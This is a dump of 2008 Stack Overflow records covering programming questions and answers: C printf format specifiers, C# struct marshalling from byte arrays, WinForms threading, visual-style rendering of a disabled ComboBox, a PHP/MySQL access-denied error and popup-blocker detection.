<code>uintmax_t</code>. This type has been available since C99 and unlike some of the other optional exact-width types found in <code>stdint.h</code>, <code>uintmax_t</code> is <em>required</em> by the Standard (as is its signed counterpart <code>intmax_t</code>).</p>\n<p>According to the Standard, <a href=\"http://port70.net/%7Ensz/c/c11/n1570.html#7.20.1.5\" rel=\"nofollow noreferrer\">a <code>uintmax_t</code> type can represent any value of any unsigned integer type</a>.</p>\n<p>You can print a <code>uintmax_t</code> value using the <code>%ju</code> conversion specifier (and <code>intmax_t</code> can be printed using <code>%jd</code>). To print a value which is not already <code>uintmax_t</code>, you must first cast to <code>uintmax_t</code> to avoid undefined behavior:</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdint.h&gt;\n\nint main(void) {\n unsigned long long num = 285212672;\n printf(&quot;%ju\\n&quot;, (uintmax_t)num);\n\n return 0;\n}\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2844", "https://Stackoverflow.com", "https://Stackoverflow.com/users/432/" ]
``` #include <stdio.h> int main() { unsigned long long int num = 285212672; //FYI: fits in 29 bits int normalInt = 5; printf("My number is %d bytes wide and its value is %ul. A normal number is %d.\n", sizeof(num), num, normalInt); return 0; } ``` Output: ``` My number is 8 bytes wide and its value is 285212672l. A normal number is 0. ``` I assume this unexpected result is from printing the `unsigned long long int`. How do you `printf()` an `unsigned long long int`?
Use the ll (el-el) long-long modifier with the u (unsigned) conversion. (Works in windows, GNU). ``` printf("%llu", 285212672); ```
2,871
<p>What would be the best way to fill a C# struct from a byte[] array where the data was from a C/C++ struct? The C struct would look something like this (my C is very rusty):</p> <pre><code>typedef OldStuff { CHAR Name[8]; UInt32 User; CHAR Location[8]; UInt32 TimeStamp; UInt32 Sequence; CHAR Tracking[16]; CHAR Filler[12]; } </code></pre> <p>And would fill something like this:</p> <pre><code>[StructLayout(LayoutKind.Explicit, Size = 56, Pack = 1)] public struct NewStuff { [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] [FieldOffset(0)] public string Name; [MarshalAs(UnmanagedType.U4)] [FieldOffset(8)] public uint User; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] [FieldOffset(12)] public string Location; [MarshalAs(UnmanagedType.U4)] [FieldOffset(20)] public uint TimeStamp; [MarshalAs(UnmanagedType.U4)] [FieldOffset(24)] public uint Sequence; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 16)] [FieldOffset(28)] public string Tracking; } </code></pre> <p>What is best way to copy <code>OldStuff</code> to <code>NewStuff</code>, if <code>OldStuff</code> was passed as byte[] array?</p> <p>I'm currently doing something like the following, but it feels kind of clunky.</p> <pre><code>GCHandle handle; NewStuff MyStuff; int BufferSize = Marshal.SizeOf(typeof(NewStuff)); byte[] buff = new byte[BufferSize]; Array.Copy(SomeByteArray, 0, buff, 0, BufferSize); handle = GCHandle.Alloc(buff, GCHandleType.Pinned); MyStuff = (NewStuff)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(NewStuff)); handle.Free(); </code></pre> <p>Is there better way to accomplish this?</p> <hr> <p>Would using the <code>BinaryReader</code> class offer any performance gains over pinning the memory and using <code>Marshal.PtrStructure</code>?</p>
[ { "answer_id": 2881, "author": "Mufaka", "author_id": 449, "author_profile": "https://Stackoverflow.com/users/449", "pm_score": -1, "selected": false, "text": "<p>If you have a byte[] you should be able to use the BinaryReader class and set values on NewStuff using the available ReadX methods.</p>\n" }, { "answer_id": 2887, "author": "Coincoin", "author_id": 42, "author_profile": "https://Stackoverflow.com/users/42", "pm_score": 8, "selected": true, "text": "<p>From what I can see in that context, you don't need to copy <code>SomeByteArray</code> into a buffer. You simply need to get the handle from <code>SomeByteArray</code>, pin it, copy the <code>IntPtr</code> data using <code>PtrToStructure</code> and then release. No need for a copy.</p>\n\n<p>That would be:</p>\n\n<pre><code>NewStuff ByteArrayToNewStuff(byte[] bytes)\n{\n GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);\n try\n {\n NewStuff stuff = (NewStuff)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(NewStuff));\n }\n finally\n {\n handle.Free();\n }\n return stuff;\n}\n</code></pre>\n\n<p>Generic version:</p>\n\n<pre><code>T ByteArrayToStructure&lt;T&gt;(byte[] bytes) where T: struct \n{\n T stuff;\n GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);\n try\n {\n stuff = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));\n }\n finally\n {\n handle.Free();\n }\n return stuff;\n}\n</code></pre>\n\n<p>Simpler version (requires <code>unsafe</code> switch):</p>\n\n<pre><code>unsafe T ByteArrayToStructure&lt;T&gt;(byte[] bytes) where T : struct\n{\n fixed (byte* ptr = &amp;bytes[0])\n {\n return (T)Marshal.PtrToStructure((IntPtr)ptr, typeof(T));\n }\n}\n</code></pre>\n" }, { "answer_id": 36740, "author": "Tim Ring", "author_id": 3685, "author_profile": "https://Stackoverflow.com/users/3685", "pm_score": 3, "selected": false, "text": "<p>Watch out for packing issues. In the example you gave all fields are at the obvious offsets because everything is on 4 byte boundaries but this will not always be the case. Visual C++ packs on 8 byte boundaries by default.</p>\n" }, { "answer_id": 8463705, "author": "Dushyant", "author_id": 1092176, "author_profile": "https://Stackoverflow.com/users/1092176", "pm_score": 2, "selected": false, "text": "<pre><code>object ByteArrayToStructure(byte[] bytearray, object structureObj, int position)\n{\n int length = Marshal.SizeOf(structureObj);\n IntPtr ptr = Marshal.AllocHGlobal(length);\n Marshal.Copy(bytearray, 0, ptr, length);\n structureObj = Marshal.PtrToStructure(Marshal.UnsafeAddrOfPinnedArrayElement(bytearray, position), structureObj.GetType());\n Marshal.FreeHGlobal(ptr);\n return structureObj;\n} \n</code></pre>\n\n<p>Have this</p>\n" }, { "answer_id": 41836532, "author": "cdiggins", "author_id": 184528, "author_profile": "https://Stackoverflow.com/users/184528", "pm_score": 4, "selected": false, "text": "<p>Here is an exception safe version of the <a href=\"https://stackoverflow.com/a/2887/184528\">accepted answer</a>: </p>\n\n<pre><code>public static T ByteArrayToStructure&lt;T&gt;(byte[] bytes) where T : struct\n{\n var handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);\n try {\n return (T) Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));\n }\n finally {\n handle.Free();\n }\n}\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2871", "https://Stackoverflow.com", "https://Stackoverflow.com/users/206/" ]
What would be the best way to fill a C# struct from a byte[] array where the data was from a C/C++ struct? The C struct would look something like this (my C is very rusty): ``` typedef OldStuff { CHAR Name[8]; UInt32 User; CHAR Location[8]; UInt32 TimeStamp; UInt32 Sequence; CHAR Tracking[16]; CHAR Filler[12]; } ``` And would fill something like this: ``` [StructLayout(LayoutKind.Explicit, Size = 56, Pack = 1)] public struct NewStuff { [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] [FieldOffset(0)] public string Name; [MarshalAs(UnmanagedType.U4)] [FieldOffset(8)] public uint User; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] [FieldOffset(12)] public string Location; [MarshalAs(UnmanagedType.U4)] [FieldOffset(20)] public uint TimeStamp; [MarshalAs(UnmanagedType.U4)] [FieldOffset(24)] public uint Sequence; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 16)] [FieldOffset(28)] public string Tracking; } ``` What is best way to copy `OldStuff` to `NewStuff`, if `OldStuff` was passed as byte[] array? I'm currently doing something like the following, but it feels kind of clunky. ``` GCHandle handle; NewStuff MyStuff; int BufferSize = Marshal.SizeOf(typeof(NewStuff)); byte[] buff = new byte[BufferSize]; Array.Copy(SomeByteArray, 0, buff, 0, BufferSize); handle = GCHandle.Alloc(buff, GCHandleType.Pinned); MyStuff = (NewStuff)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(NewStuff)); handle.Free(); ``` Is there better way to accomplish this? --- Would using the `BinaryReader` class offer any performance gains over pinning the memory and using `Marshal.PtrStructure`?
From what I can see in that context, you don't need to copy `SomeByteArray` into a buffer. You simply need to get the handle from `SomeByteArray`, pin it, copy the `IntPtr` data using `PtrToStructure` and then release. No need for a copy. That would be: ``` NewStuff ByteArrayToNewStuff(byte[] bytes) { GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); try { NewStuff stuff = (NewStuff)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(NewStuff)); } finally { handle.Free(); } return stuff; } ``` Generic version: ``` T ByteArrayToStructure<T>(byte[] bytes) where T: struct { T stuff; GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); try { stuff = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); } finally { handle.Free(); } return stuff; } ``` Simpler version (requires `unsafe` switch): ``` unsafe T ByteArrayToStructure<T>(byte[] bytes) where T : struct { fixed (byte* ptr = &bytes[0]) { return (T)Marshal.PtrToStructure((IntPtr)ptr, typeof(T)); } } ```
2,872
<p><strong>My Goal</strong></p> <p>I would like to have a main processing thread (non GUI), and be able to spin off GUIs in their own background threads as needed, and having my main non GUI thread keep working. Put another way, I want my main non GUI-thread to be the owner of the GUI-thread and not vice versa. I'm not sure this is even possible with Windows Forms(?)</p> <p><strong>Background</strong></p> <p>I have a component based system in which a controller dynamically load assemblies and instantiates and run classes implementing a common <code>IComponent</code> interface with a single method <code>DoStuff()</code>.</p> <p>Which components that gets loaded is configured via a xml configuration file and by adding new assemblies containing different implementations of <code>IComponent</code>. The components provides utility functions to the main application. While the main program is doing it's thing, e.g. controlling a nuclear plant, the components might be performing utility tasks (in their own threads), e.g. cleaning the database, sending emails, printing funny jokes on the printer, what have you. What I would like, is to have one of these components be able to display a GUI, e.g. with status information for the said email sending component.</p> <p>The lifetime of the complete system looks like this</p> <ol> <li>Application starts.</li> <li>Check configuration file for components to load. Load them.</li> <li><strong>For each component, run <code>DoStuff()</code> to initialize it and make it live its own life in their own threads.</strong></li> <li>Continue to do main application-thingy king of work, forever.</li> </ol> <p>I have not yet been able to successfully perform point 3 if the component fires up a GUI in <code>DoStuff()</code>. It simply just halts until the GUI is closed. And not until the GUI is closed does the program progress to point 4.</p> <p>It would be great if these components were allowed to start up their own Windows Forms GUIs.</p> <p><strong>Problem</strong></p> <p>When a component tries to fire up a GUI in <code>DoStuff()</code> (the exact line of code is when the component runs <code>Application.Run(theForm)</code>), the component and hence our system "hangs" at the <code>Application.Run()</code> line until the GUI is closed. Well, the just fired up GUI works fine, as expected.</p> <p>Example of components. One hasn't nothing to do with GUI, whilst the second fires up a cute windows with pink fluffy bunnies in them.</p> <pre><code>public class MyComponent1: IComponent { public string DoStuff(...) { // write something to the database } } public class MyComponent2: IComponent { public void DoStuff() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form()); // I want the thread to immediately return after the GUI // is fired up, so that my main thread can continue to work. } } </code></pre> <p>I have tried this with no luck. Even when I try to fire up the GUI in it's own thread, the execution halts until the GUI as closed.</p> <pre><code>public void DoStuff() { new Thread(ThreadedInitialize).Start() } private void ThreadedInitialize() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form()); } </code></pre> <p>Is it possible to spin off a GUI and return after <code>Application.Run()</code>?</p>
[ { "answer_id": 2901, "author": "Ishmaeel", "author_id": 227, "author_profile": "https://Stackoverflow.com/users/227", "pm_score": 5, "selected": true, "text": "<p><strong>Application.Run</strong> method displays one (or more) forms and initiates the standard message loop which runs until all the forms are closed. You cannot force a return from that method except by closing all your forms or forcing an application shutdown.</p>\n\n<p>You can, however, pass an <strong>ApplicationContext</strong> (instad of a new Form()) to Application.Run method and ApplicationContext can be used to launch several forms at once. Your application will only end when all of those are closed. See here: <a href=\"http://msdn.microsoft.com/en-us/library/system.windows.forms.application.run.aspx\" rel=\"noreferrer\">http://msdn.microsoft.com/en-us/library/system.windows.forms.application.run.aspx</a></p>\n\n<p>Also, any forms that you Show non-modally will continue to run alongside your main form, which will enable you to have more than one windows that do not block each other. I believe this is actually what you are trying to accomplish.</p>\n" }, { "answer_id": 2962, "author": "Orion Edwards", "author_id": 234, "author_profile": "https://Stackoverflow.com/users/234", "pm_score": 0, "selected": false, "text": "<p>I'm sure this is possible if you hack at it hard enough, but I'd suggest it is not a good idea.</p>\n\n<p>'Windows' (that you see on the screen) are highly coupled to processes. That is, each process which displays any GUI is expected to have a Message Loop, which processes all of the messages which are involved with creating and managing windows (things like 'clicked the button', 'closed the app', 'redraw the screen' and so on.</p>\n\n<p>Because of this, it is more or less assumed that if you have any message loop, it must be available for the lifetime of your process. For example windows might send you a 'quit' message, and you need to have a message loop available to handle that, even if you've got nothing on the screen.</p>\n\n<p>Your best bet is do it like this:</p>\n\n<p>Make a fake form which is never shown which is your 'main app'\nStart up\nCall Application.Run and pass in this fake form.\nDo your work in another thread, and fire events at the main thread when you need to do Gui stuff.</p>\n" }, { "answer_id": 902580, "author": "Sebastian Bender", "author_id": 96671, "author_profile": "https://Stackoverflow.com/users/96671", "pm_score": 0, "selected": false, "text": "<p>I'm not sure if this is right, however I remember running window forms from a console application by just newing the form and calling newForm.Show() on it, if your components use that instead of Application.Run() then the new form shouldn't block.</p>\n\n<p>Of course the component will be responsible for maintaining a reference to the forms it creates</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2872", "https://Stackoverflow.com", "https://Stackoverflow.com/users/446/" ]
**My Goal** I would like to have a main processing thread (non GUI), and be able to spin off GUIs in their own background threads as needed, and having my main non GUI thread keep working. Put another way, I want my main non GUI-thread to be the owner of the GUI-thread and not vice versa. I'm not sure this is even possible with Windows Forms(?) **Background** I have a component based system in which a controller dynamically load assemblies and instantiates and run classes implementing a common `IComponent` interface with a single method `DoStuff()`. Which components that gets loaded is configured via a xml configuration file and by adding new assemblies containing different implementations of `IComponent`. The components provides utility functions to the main application. While the main program is doing it's thing, e.g. controlling a nuclear plant, the components might be performing utility tasks (in their own threads), e.g. cleaning the database, sending emails, printing funny jokes on the printer, what have you. What I would like, is to have one of these components be able to display a GUI, e.g. with status information for the said email sending component. The lifetime of the complete system looks like this 1. Application starts. 2. Check configuration file for components to load. Load them. 3. **For each component, run `DoStuff()` to initialize it and make it live its own life in their own threads.** 4. Continue to do main application-thingy king of work, forever. I have not yet been able to successfully perform point 3 if the component fires up a GUI in `DoStuff()`. It simply just halts until the GUI is closed. And not until the GUI is closed does the program progress to point 4. It would be great if these components were allowed to start up their own Windows Forms GUIs. **Problem** When a component tries to fire up a GUI in `DoStuff()` (the exact line of code is when the component runs `Application.Run(theForm)`), the component and hence our system "hangs" at the `Application.Run()` line until the GUI is closed. Well, the just fired up GUI works fine, as expected. Example of components. One hasn't nothing to do with GUI, whilst the second fires up a cute windows with pink fluffy bunnies in them. ``` public class MyComponent1: IComponent { public string DoStuff(...) { // write something to the database } } public class MyComponent2: IComponent { public void DoStuff() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form()); // I want the thread to immediately return after the GUI // is fired up, so that my main thread can continue to work. } } ``` I have tried this with no luck. Even when I try to fire up the GUI in it's own thread, the execution halts until the GUI as closed. ``` public void DoStuff() { new Thread(ThreadedInitialize).Start() } private void ThreadedInitialize() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form()); } ``` Is it possible to spin off a GUI and return after `Application.Run()`?
**Application.Run** method displays one (or more) forms and initiates the standard message loop which runs until all the forms are closed. You cannot force a return from that method except by closing all your forms or forcing an application shutdown. You can, however, pass an **ApplicationContext** (instad of a new Form()) to Application.Run method and ApplicationContext can be used to launch several forms at once. Your application will only end when all of those are closed. See here: <http://msdn.microsoft.com/en-us/library/system.windows.forms.application.run.aspx> Also, any forms that you Show non-modally will continue to run alongside your main form, which will enable you to have more than one windows that do not block each other. I believe this is actually what you are trying to accomplish.
2,874
<p>I have a control that is modelled on a <strong>ComboBox</strong>. I want to render the control so that the control <strong>border</strong> looks like that of a standard <strong>Windows ComboBox</strong>. Specifically, I have followed the MSDN documentation and all the rendering of the control is correct except for rendering when the control is disabled.</p> <p>Just to be clear, this is for a system with <strong>Visual Styles</strong> enabled. Also, all parts of the control render properly except the border around a disabled control, which does not match the disabled <strong>ComboBox border</strong> colour.</p> <p>I am using the <strong>VisualStyleRenderer</strong> class. MSDN suggests using the <code>VisualStyleElement.TextBox</code> element for the <strong>TextBox</strong> part of the <strong>ComboBox</strong> control but a standard disabled <strong>TextBox</strong> and a standard disabled <strong>ComboBox</strong> draw slightly differently (one has a light grey border, the other a light blue border).</p> <p>How can I get correct rendering of the control in a disabled state?</p>
[ { "answer_id": 13319, "author": "Nick", "author_id": 1490, "author_profile": "https://Stackoverflow.com/users/1490", "pm_score": 1, "selected": false, "text": "<p>Are any of the <a href=\"http://msdn.microsoft.com/en-us/library/system.windows.forms.controlpaint_members.aspx\" rel=\"nofollow noreferrer\">ControlPaint</a> methods useful for this? That's what I usually use for custom-rendered controls.</p>\n" }, { "answer_id": 13372, "author": "Patrik Svensson", "author_id": 936, "author_profile": "https://Stackoverflow.com/users/936", "pm_score": 4, "selected": false, "text": "<p>I'm not 100% sure if this is what you are looking for but you should check out the <strong>VisualStyleRenderer</strong> in the System.Windows.Forms.VisualStyles-namespace.</p>\n\n<ol>\n<li><a href=\"http://msdn.microsoft.com/en-us/library/system.windows.forms.visualstyles.visualstylerenderer.aspx\" rel=\"noreferrer\">VisualStyleRenderer class</a> (MSDN)</li>\n<li><a href=\"http://msdn.microsoft.com/en-us/library/ms171735.aspx\" rel=\"noreferrer\">How to: Render a Visual Style Element</a> (MSDN)</li>\n<li><a href=\"http://msdn.microsoft.com/en-us/library/system.windows.forms.visualstyles.visualstyleelement.combobox.dropdownbutton.disabled.aspx\" rel=\"noreferrer\">VisualStyleElement.ComboBox.DropDownButton.Disabled</a> (MSDN)</li>\n</ol>\n\n<p>Since VisualStyleRenderer won't work if the user don't have visual styles enabled (he/she might be running 'classic mode' or an operative system prior to Windows XP) you should always have a fallback to the ControlPaint class.</p>\n\n<pre><code>// Create the renderer.\nif (VisualStyleInformation.IsSupportedByOS \n &amp;&amp; VisualStyleInformation.IsEnabledByUser) \n{\n renderer = new VisualStyleRenderer(\n VisualStyleElement.ComboBox.DropDownButton.Disabled);\n}\n</code></pre>\n\n<p>and then do like this when drawing:</p>\n\n<pre><code>if(renderer != null)\n{\n // Use visual style renderer.\n}\nelse\n{\n // Use ControlPaint renderer.\n}\n</code></pre>\n\n<p>Hope it helps!</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2874", "https://Stackoverflow.com", "https://Stackoverflow.com/users/441/" ]
I have a control that is modelled on a **ComboBox**. I want to render the control so that the control **border** looks like that of a standard **Windows ComboBox**. Specifically, I have followed the MSDN documentation and all the rendering of the control is correct except for rendering when the control is disabled. Just to be clear, this is for a system with **Visual Styles** enabled. Also, all parts of the control render properly except the border around a disabled control, which does not match the disabled **ComboBox border** colour. I am using the **VisualStyleRenderer** class. MSDN suggests using the `VisualStyleElement.TextBox` element for the **TextBox** part of the **ComboBox** control but a standard disabled **TextBox** and a standard disabled **ComboBox** draw slightly differently (one has a light grey border, the other a light blue border). How can I get correct rendering of the control in a disabled state?
I'm not 100% sure if this is what you are looking for but you should check out the **VisualStyleRenderer** in the System.Windows.Forms.VisualStyles-namespace. 1. [VisualStyleRenderer class](http://msdn.microsoft.com/en-us/library/system.windows.forms.visualstyles.visualstylerenderer.aspx) (MSDN) 2. [How to: Render a Visual Style Element](http://msdn.microsoft.com/en-us/library/ms171735.aspx) (MSDN) 3. [VisualStyleElement.ComboBox.DropDownButton.Disabled](http://msdn.microsoft.com/en-us/library/system.windows.forms.visualstyles.visualstyleelement.combobox.dropdownbutton.disabled.aspx) (MSDN) Since VisualStyleRenderer won't work if the user don't have visual styles enabled (he/she might be running 'classic mode' or an operative system prior to Windows XP) you should always have a fallback to the ControlPaint class. ``` // Create the renderer. if (VisualStyleInformation.IsSupportedByOS && VisualStyleInformation.IsEnabledByUser) { renderer = new VisualStyleRenderer( VisualStyleElement.ComboBox.DropDownButton.Disabled); } ``` and then do like this when drawing: ``` if(renderer != null) { // Use visual style renderer. } else { // Use ControlPaint renderer. } ``` Hope it helps!
2,900
<p>I am getting the following error:</p> <blockquote> <p>Access denied for user 'apache'@'localhost' (using password: NO)</p> </blockquote> <p>When using the following code:</p> <pre><code>&lt;?php include("../includes/connect.php"); $query = "SELECT * from story"; $result = mysql_query($query) or die(mysql_error()); echo "&lt;h1&gt;Delete Story&lt;/h1&gt;"; if (mysql_num_rows($result) &gt; 0) { while($row = mysql_fetch_row($result)){ echo '&lt;b&gt;'.$row[1].'&lt;/b&gt;&lt;span align="right"&gt;&lt;a href="../process/delete_story.php?id='.$row[0].'"&gt;Delete&lt;/a&gt;&lt;/span&gt;'; echo '&lt;br /&gt;&lt;i&gt;'.$row[2].'&lt;/i&gt;'; } } else { echo "No stories available."; } ?&gt; </code></pre> <p>The <code>connect.php</code> file contains my MySQL connect calls that are working fine with my <code>INSERT</code> queries in another portion of the software. If I comment out the <code>$result = mysql_query</code> line, then it goes through to the else statement. So, it is that line or the content in the if.</p> <p>I have been searching the net for any solutions, and most seem to be related to too many MySQL connections or that the user I am logging into MySQL as does not have permission. I have checked both. I can still perform my other queries elsewhere in the software, and I have verified that the account has the correct permissions.</p>
[ { "answer_id": 2908, "author": "Teifion", "author_id": 1384652, "author_profile": "https://Stackoverflow.com/users/1384652", "pm_score": 1, "selected": false, "text": "<p>Just to check, if you use <strong>just</strong> this part you get an error?</p>\n\n<pre><code>&lt;?php\ninclude(\"../includes/connect.php\");\n\n$query = \"SELECT * from story\";\n$result = mysql_query($query) or die(mysql_error());\n</code></pre>\n\n<p>If so, do you still get an error if you copy and paste one of those Inserts into this page, I am trying to see if it's local to the page or that actual line.</p>\n\n<p>Also, can you post a copy of the connection calls (minus passwords), unless the inserts use exactly the same syntax as this example.</p>\n" }, { "answer_id": 2911, "author": "Justin Bennett", "author_id": 271, "author_profile": "https://Stackoverflow.com/users/271", "pm_score": 1, "selected": false, "text": "<p>Does the apache user require a password to connect to the database? If so, then the fact that it says \"using password: NO\" would lead me to believe that the code is trying to connect without a password.</p>\n\n<p>If, however, the apache user doesn't require a password, a double-check of the permissions may be a good idea (which you mentioned you already checked). It may still be beneficial to try executing something like this at a mysql prompt:</p>\n\n<pre><code>GRANT ALL PRIVILEGES ON `*databasename*`.* to 'apache'@'localhost';\n</code></pre>\n\n<p>That syntax should be correct. </p>\n\n<p>Other than that, I'm just as stumped as you are.</p>\n" }, { "answer_id": 2915, "author": "Ecton", "author_id": 457, "author_profile": "https://Stackoverflow.com/users/457", "pm_score": 1, "selected": false, "text": "<p>If indeed you are able to insert using the same connection calls, your problem most likely lies in the user &quot;apache&quot; not having SELECT permissions on the database. If you have phpMyAdmin installed you can look at the permissions for the user in the Privileges pane. phpMyAdmin also makes it very easy to modify the permissions.</p>\n<p>If you only have access to the command line, you can check the permissions from the mysql database.</p>\n<p>You'll probably need to do something like:</p>\n<pre class=\"lang-sql prettyprint-override\"><code>GRANT SELECT ON myDatabase.myTable TO 'apache'@'localhost';\n</code></pre>\n" }, { "answer_id": 2943, "author": "Mesidin", "author_id": 454, "author_profile": "https://Stackoverflow.com/users/454", "pm_score": 1, "selected": false, "text": "<blockquote>\n <p>Just to check, if you use just this part you get an error?</p>\n \n <p>If so, do you still get an error if you copy and paste one of those Inserts into this >page, I am trying to see if it's local to the page or that actual line.</p>\n \n <p>Also, can you post a copy of the connection calls (minus passwords), unless the inserts >use exactly the same syntax as this example.</p>\n</blockquote>\n\n<p>Here is what is in the connection.php file. I linked to the file through an include in the same fashion as where I execute the INSERT queries elsewhere in the code.</p>\n\n<pre><code>$conn = mysql_connect(\"localhost\", ******, ******) or die(\"Could not connect\");\nmysql_select_db(\"adbay_com_-_cms\") or die(\"Could not select database\");\n</code></pre>\n\n<p>I will try the working INSERT query in this area to check that out.</p>\n\n<p>As to the others posting about the password access. I did, as stated in my first posting, check permissions. I used phpMyAdmin to verify that the permissions for the user account I was using were correct. And if it matters at all, apache@localhost is not the name of the user account that I use to get into the database. I don't have any user accounts with the name apache in them at all for that matter.</p>\n" }, { "answer_id": 2975, "author": "dragonmantank", "author_id": 204, "author_profile": "https://Stackoverflow.com/users/204", "pm_score": 5, "selected": true, "text": "<blockquote>\n <p>And if it matters at all, apache@localhost is not the name of the user account that I use to get into the database. I don't have any user accounts with the name apache in them at all for that matter.</p>\n</blockquote>\n\n<p>If it is saying 'apache@localhost' the username is not getting passed correctly to the MySQL connection. 'apache' is normally the user that runs the httpd process (at least on Redhat-based systems) and if no username is passed during the connection MySQL uses whomever is calling for the connection.</p>\n\n<p>If you do the connection right in your script, not in a called file, do you get the same error?</p>\n" }, { "answer_id": 222793, "author": "Zak", "author_id": 2112692, "author_profile": "https://Stackoverflow.com/users/2112692", "pm_score": 2, "selected": false, "text": "<p>Don't forget to check your database error logs. You should be able to see if you are even hitting the DB. If you aren't, you should check your firewall rules on the box. On a linux box you can run iptables -L to get the firewall list rules. </p>\n\n<p>Otherwise it will be a pure access issue. Do a \"select * from mysql.user\" to see if the apache user is even set up in there. Further, I would recommend creating an account specifically for your app as opposed to using apache, since any other app you create will run as apache by default, and could get unauthorized access to your db. </p>\n\n<p>Just look up \"GRANT\" in the documentation @ dev.mysql.com to get more info. If you have more specific questiosn regarding db, just edit your question, and i will take a look.</p>\n" }, { "answer_id": 222810, "author": "KernelM", "author_id": 22328, "author_profile": "https://Stackoverflow.com/users/22328", "pm_score": 2, "selected": false, "text": "<p>Does the connect.php script actually make the connection or does it just define a function you need to call to create a connection? The error you're getting is symptomatic of not having a previously established connection at all.</p>\n\n<p>ETA: Also change the include to a require. I suspect it's not actually including the file at all. But include can fail silently.</p>\n" }, { "answer_id": 222946, "author": "Piskvor left the building", "author_id": 19746, "author_profile": "https://Stackoverflow.com/users/19746", "pm_score": 2, "selected": false, "text": "<p>Change the include() to require(). <strong>If the \"connect.php\" file can't be require()d, the script will fail</strong> with a fatal error, whereas <strong>include() only generates a warning</strong>. If the username you're passing to mysql_connect() isn't \"apache\", an incorrect path to the connect script is the most common way to get this type of error.</p>\n" }, { "answer_id": 603700, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>Dude the answer is a big DUH! which unfortunately it took me a while to figure out as well. You probably have a function like dbconnect() and you are using variables from an include file to make the connection. $conn = mysql_connect($dbhost, $dbuser, $dbpass).</p>\n\n<p>Well since this is inside a function the variables from the include file need to be passed to the function or else the function will not know what $dbhost, $dbuser and $dbpass is. A way to fix this is to make those variables global so your functions can pick them up. Another solution which is not very secure would be to write out you host, user and pass in the mysql_connect function.</p>\n\n<p>Hope this helps but I had the same problem.</p>\n" }, { "answer_id": 1024750, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>You can do one of the following:</p>\n\n<ul>\n<li>Add the user \"apache\" and setup its privileges from phpmyadmin or using mysql on a shell</li>\n<li>Tell php to run <code>mysql_connect</code> as another user, someone who already has the privileges needed (but maybe not root), look for mysql.default_user in your php.ini file.</li>\n</ul>\n" }, { "answer_id": 18892554, "author": "MoonJoose", "author_id": 2795056, "author_profile": "https://Stackoverflow.com/users/2795056", "pm_score": 1, "selected": false, "text": "<p>Did you remember to do:</p>\n\n<pre><code>flush privileges;\n</code></pre>\n\n<p>If the user is not set up then it will give the 'apache'@'localhost' error.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2900", "https://Stackoverflow.com", "https://Stackoverflow.com/users/454/" ]
I am getting the following error: > > Access denied for user 'apache'@'localhost' (using password: NO) > > > When using the following code: ``` <?php include("../includes/connect.php"); $query = "SELECT * from story"; $result = mysql_query($query) or die(mysql_error()); echo "<h1>Delete Story</h1>"; if (mysql_num_rows($result) > 0) { while($row = mysql_fetch_row($result)){ echo '<b>'.$row[1].'</b><span align="right"><a href="../process/delete_story.php?id='.$row[0].'">Delete</a></span>'; echo '<br /><i>'.$row[2].'</i>'; } } else { echo "No stories available."; } ?> ``` The `connect.php` file contains my MySQL connect calls that are working fine with my `INSERT` queries in another portion of the software. If I comment out the `$result = mysql_query` line, then it goes through to the else statement. So, it is that line or the content in the if. I have been searching the net for any solutions, and most seem to be related to too many MySQL connections or that the user I am logging into MySQL as does not have permission. I have checked both. I can still perform my other queries elsewhere in the software, and I have verified that the account has the correct permissions.
> > And if it matters at all, apache@localhost is not the name of the user account that I use to get into the database. I don't have any user accounts with the name apache in them at all for that matter. > > > If it is saying 'apache@localhost' the username is not getting passed correctly to the MySQL connection. 'apache' is normally the user that runs the httpd process (at least on Redhat-based systems) and if no username is passed during the connection MySQL uses whomever is calling for the connection. If you do the connection right in your script, not in a called file, do you get the same error?
2,914
<p>Occasionally, I've come across a webpage that tries to pop open a new window (for user input, or something important), but the popup blocker prevents this from happening.</p> <p>What methods can the calling window use to make sure the new window launched properly?</p>
